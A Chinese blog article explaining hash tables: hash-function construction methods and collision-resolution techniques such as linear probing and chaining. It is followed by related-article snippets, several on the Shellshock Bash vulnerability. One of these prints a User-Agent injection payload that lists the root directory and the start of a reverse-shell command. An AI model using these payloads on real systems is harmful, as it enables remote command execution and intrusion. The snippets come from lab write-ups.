数据结构之Hash表(哈希表)

article/2025/9/17 16:51:35

参考书籍:大话数据结构
一、Hash表定义
在记录的存储位置和它的关键字之间建立一个确定的对应关系f,使得每个关键字key对应一个存储位置。查找的时候,根据这个确定的对应关系找到给定值key的映射f(key)。
类似于中学数学中的函数,通过某种关系,一个x对应一个y值。y=f(x)。
我们将这里的对应关系f称为散列函数,也可以称为哈希函数。采用这种散列技术将记录存储在一块连续的存储空间中,这块连续的存储空间称为散列表或者哈希表。
对比中学的函数定义更好理解哈希。
二、Hash函数的构造方法
构造Hash函数需要遵循两个原则:
1、计算简单;
2、散列地址分布均匀。
接下来是六种构造Hash函数的方法:
1、直接定制法
类似于线性函数:f(key)=a*key+b;
例如统计00后每年出生的人数:

indextimenum
0020001000W
0120011001W
0220021003W

此时,我们可以将年份减去2000作为关键字作为index。
这个散列函数优点就是简单、均匀,也不会产生冲突,但是需要实现知道关键字的分布情况。
2、数字分析法
比如需要存储一个班级学生的身份证号码,一个地区的学生开头部分的数字是相同的,可以将这些数字提取出来,选择后面都不相同的部分作为散列地址是不错的选择。
3、平方取中法
这种方法计算简单。假如关键字是1234,那么它的平方就是1522756,那么抽取他的中间3位就是227,将中间三位作为散列地址。
平方取中法比较适合于不知道关键字的分布,而位数又不是很大的情况。毕竟如果数字较大的话,平方之后的结果就太大了。
4、折叠法
折叠法是将关键字从左到右分割为位数相同的几部分(就算最后一部分位数不够,仍然当作一个部分),将这几个部分叠加求和,按散列表表长,取后几位作为散列地址。
比如关键字1234567890,取散列表表长为三位,则关键字分割为:123|456|789|0,叠加求和为:123+456+789+0=1368,求后3位得到散列地址为:368.
5、除留余数法
此方法的散列函数公式为:f(key)=key mod p(p<=m)
例如对以下12个关键字构造散列表时,使用除留余数法。
在这里插入图片描述
取p为12,可以看到,余数为多少,就填到对应的下标位置。但是如果多个关键字的余数相同的话,就需要填到相同的下标位置,所以,选择合适的p至关重要。
6、随机数法
随机数法就是选择一个随机数,取关键字的随机函数值为它的散列地址,也就是f(key)=random (key)。这里random是随机函数,当关键字的长度不等时,采用这个方法构造散列函数是比较合适的。
三、Hash冲突
Hash冲突:不同的key值产生相同的地址,可以理解为:y=kx+b,不同的x值对应了相同的y值。不管hash函数设计得如何巧妙,总是难免会出现hash冲突的情况,可以通过设置不同的方法减少hash冲突的产生。
解决Hash冲突的方法
1、开放定址法
所谓的开放定址法就是一旦发生冲突,就去寻找下一个空的散列地址,只要散列表足够大,空的散列地址总能找到。
f(key)=(f(key)+d) mod m (d=1,2,3,…,m-1)
例子:假设一个关键字集合:{12,67,56,16,25,37,22,29,15,47,48,34},我们用散列函数:f(key)=key mod 12。当计算前五个数时,都是没有冲突的散列地址,直接存入,
在这里插入图片描述
当计算37时,f(37)=1,此时就与25所在的位置冲突,就可以使用公式f(37)=(f(37)+1) mod 12=2,于是将37存入下标为2的位置。其余的key如果与之前的key发生了冲突,也是同样的操作方法。
我们将这种解决冲突的开放定址法称为线性探测法。
在上面过程中,出现的不是同义词却需要争夺一个地址的情况,我们将这种情况称为堆积。
在计算最后一个key时,
在这里插入图片描述
34与22所在的位置冲突,22的后面已经没有空位置了,但是22的前面还有个空位置,那么如果让它向前寻找空位置?
可以改进d,使d=正负1的平方,正负2的平方。。。。。
如此时要插入34时,可以使d=-1,插入到22的前面即可。这种方法称为二次探测法。
还有一种方法是在冲突时,对于位移量d采用随机函数计算得到,我们称之为随机探测法。
2、再散列函数法
对于散列表来说,我们事先准备多个散列函数,
f(key)=RH(key)
每当发生散列地址冲突时,就换一个散列函数计算。这种方法能使得关键字不产生聚集,但是增加了计算的时间。
3、链地址法
将所有关键字为同义词的记录存储在一个单链表中,我们称这种表为同义词子表,在散列表中只存储所有同义词子表的头指针。
以上个例子为例:
在这里插入图片描述
链地址法对于可能会造成很多冲突的散列函数来说,提供了绝不会找不到地址的保障。
4、公共溢出区法
这个方法则是为所有冲突的key建立一个公共的溢出区来存放,
在这里插入图片描述
在查找时,对给定值通过散列函数计算出散列地址后,先与基本表的相应位置进行比较,如果相等,则说明查找成功,如果不等,则到溢出区进行顺序查找。


http://chatgpt.dhexx.cn/article/6xnE93fW.shtml

相关文章

python hash表

在查找过程中不经过关键字的比较. 在待查的关键字值和它的存储位置之间建立一个确定的对应关系,则查找时不必再进行关键字值间的比较. 根据设定的哈希函数以及处理冲突的方法将查找表中各个数据元素存储在一段有限的连续空间中.即获得哈希表. 简单理解把key值通过函数映射为一…

hash表和hashmap

hash表和hashmap 一、哈希表 哈希(hash)表&#xff1a;在哈希表中进行添加&#xff0c;删除&#xff0c;查找等操作&#xff0c;性能十分之高&#xff0c;不考虑哈希冲突的情况下&#xff08;后面会探讨下哈希冲突的情况&#xff09;&#xff0c;仅需一次定位即可完成&#xf…

hash表(学习笔记)

hash表又叫散列表&#xff0c;是一种用来存放数据的数据结构。用于快速查询 hash表就是一种数组&#xff0c;输入关键字&#xff0c;通过hash函数得到&#xff0c;对应数据的下标。&#xff08;hash值就是下标&#xff09; hash函数根据关键字设计&#xff0c;主要原理&#…

Hash表(C语言)

一、简介: 哈希表又称散列表。哈希表存储的基本思想是&#xff1a;以数据表中的每个记录的关键字 key为自变量&#xff0c;通过一种函数H(key)计算出函数值。把这个值解释为一块连续存储空间&#xff08;即数组空间&#xff09;的单元地址&#xff08;即下标&#xff09;&…

什么是Hash表

1.定义 Hash&#xff08;散列/哈希&#xff09;&#xff0c;就是把任意长度的输入&#xff08;又叫做预映射&#xff0c; pre-image&#xff09;&#xff0c;通过散列算法&#xff0c;变换成固定长度的输出&#xff0c;该输出就是散列值。这种转换是一种压缩映射&#xff0c;也…

HASH表的创建(C语言)

HASH表的创建&#xff08;C语言&#xff09; 一、简介: 哈希表又称散列表。哈希表存储的基本思想是&#xff1a;以数据表中的每个记录的关键字 key为自变量&#xff0c;通过一种函数H(key)计算出函数值。把这个值解释为一块连续存储空间&#xff08;即数组空间&#xff09;的单…

java中HashMap与Hash表详解

转载至https://blog.csdn.net/u010297957/article/details/51974340 哈希算法&#xff0c;是一类算法&#xff1b;哈希表&#xff08;Hash Table&#xff09;是一种数据结构&#xff1b;哈希函数&#xff0c;是支撑哈希表的一类函数&#xff1b;Map是映射、地图的意思&#xff…

c实现Hash表

目录 一、简介 二、hash表结构图 三、结构定义 四、成员函数 初始化 销毁 辅助函数 辅助函数 添加 删除结点 查找 打印函数 测试 一、简介 使用crc16作为hash函数&#xff1b; 使用拉链法解决hash冲突; 简单的hash表; 二、hash表结构图 三、结构定义 1.hash函…

hash表的实现原理

hash表的实现原理 哈希表&#xff08;Hash table&#xff0c;也叫散列表&#xff09;&#xff0c;所谓hash表&#xff0c;就是以 键-值(key-indexed) 的形式存储的数据结构。可以根据key来快速的查找到value。也就是说&#xff0c;它通过把key值映射到表中一个位置来访问记录&a…

哈希表是什么

一.什么是哈希表 ​散列表&#xff08;Hash table&#xff0c;也叫哈希表&#xff09;&#xff0c;是根据键&#xff08;Key&#xff09;而直接访问在内存存储位置的数据结构。也就是说&#xff0c;它通过计算一个关于键值的函数&#xff0c;将所需查询的数据映射到表中一个位…

数据结构 Hash表(哈希表)

参考链接&#xff1a;数据结构&#xff08;严蔚敏&#xff09; 文章发布很久了&#xff0c;具体细节已经不清晰了&#xff0c;不再回复各种问题 文章整理自严蔚敏公开课视频 可以参考 https://www.bilibili.com/video/av22258871/ 如果链接失效 可以自行搜索 数据结构严蔚敏视频…

Linux Shell Shock漏洞利用和实战

漏洞介绍&#xff1a; Shellshock&#xff0c;又称Bashdoor&#xff0c;是在Unix中广泛使用的Bash shell中的一个安全漏洞&#xff0c;首次于2014年9月24日公开。许多互联网守护进程&#xff0c;如网页服务器&#xff0c;使用bash来处理某些命令&#xff0c;从而允许攻击者在易…

Bash(shellshock)

影响 漏洞影响&#xff1a;GNU Bash < 4.3 启动服务器 搭建&#xff1a;docker-compose up -d 查看&#xff1a;docker-compose ps 抵达网站 抓包拦截 User-Agent: () { :;};echo ; echo; echo $(/bin/ls /); 反弹shell&#xff1a;User-Agent:() { :; }; /bin/bash -i &g…

shell-awk

文章目录 一、com1.awk的作用和工作模式2.awk同其他文本处理程序的对比3.awk的正则 二、syntax1.basic format2.options&#xff1a;-F -fs 指定行中划分数据字段的字段分隔符。awk中默认的字段分隔符是任意的空白字符&#xff08;例如n个空格或n个制表符tab&#xff09;&#…

【靶场补充】项目十二补充(shellshock原理)

补充&#xff1a;关于项目12shellshock原理以及与CGI的利用原理 靶场WP地址 &#x1f525;系列专栏&#xff1a;Vulnhub百个项目渗透 &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; &#x1f4c6;首发时间&#xff1a;&#x1f334;2022年9月…

[pwnable.kr]shellshock

题目大概是在提示我们跟shellshock有关 看到提供了bash&#xff0c; 先看看c源代码 #include <stdio.h> int main(){setresuid(getegid(), getegid(), getegid());setresgid(getegid(), getegid(), getegid());system("/home/shellshock/bash -c echo shock_me&quo…

vulhub漏洞复现-bash(CVE-2014-6271) shellshock-破壳漏洞

漏洞简介 破壳漏洞&#xff08;shellshock&#xff09;&#xff0c;也被称为bashdoor&#xff0c;是广泛使用的Unix shell中的一系列安全漏洞&#xff0c;其中第一个漏洞于2014年9月24日被披露。许多面向互联网的服务&#xff0c;如一些网络服务器部署&#xff0c;使用bash来处…

bash(CVE-2014-6271) shellshock-破壳漏洞复现

漏洞简介 破壳漏洞&#xff08;shellshock&#xff09;&#xff0c;也被称为bashdoor&#xff0c;是广泛使用的Unix shell中的一系列安全漏洞&#xff0c;其中第一个漏洞于2014年9月24日被披露。许多面向互联网的服务&#xff0c;如一些网络服务器部署&#xff0c;使用bash来处…

pwnable-shellshock

文章目录 概述题目题目描述连接信息基本信息查看源代码源代码分析题目解法 概述 pwnable是一个经典的CTF中PWN方向练习的专业网站&#xff0c;本文记录的题目是shellshock&#xff0c;主要考察的是破壳漏洞的利用。 题目 题目描述 题目提示 there was a shocking news about…

LINUX漏洞复现篇之ShellShock漏洞

简介 ShellShock漏洞, 中文称为"破壳漏洞", 是Unix Shell中的安全漏洞 在一些网络服务器的部署中, 使用bash来处理某些请求, 允许攻击者通过低版本的bash执行任意Shell命令 此漏洞在调用BashShell之前使用payload创建环境变量, 这些环境变量包含Shell代码, 在Shel…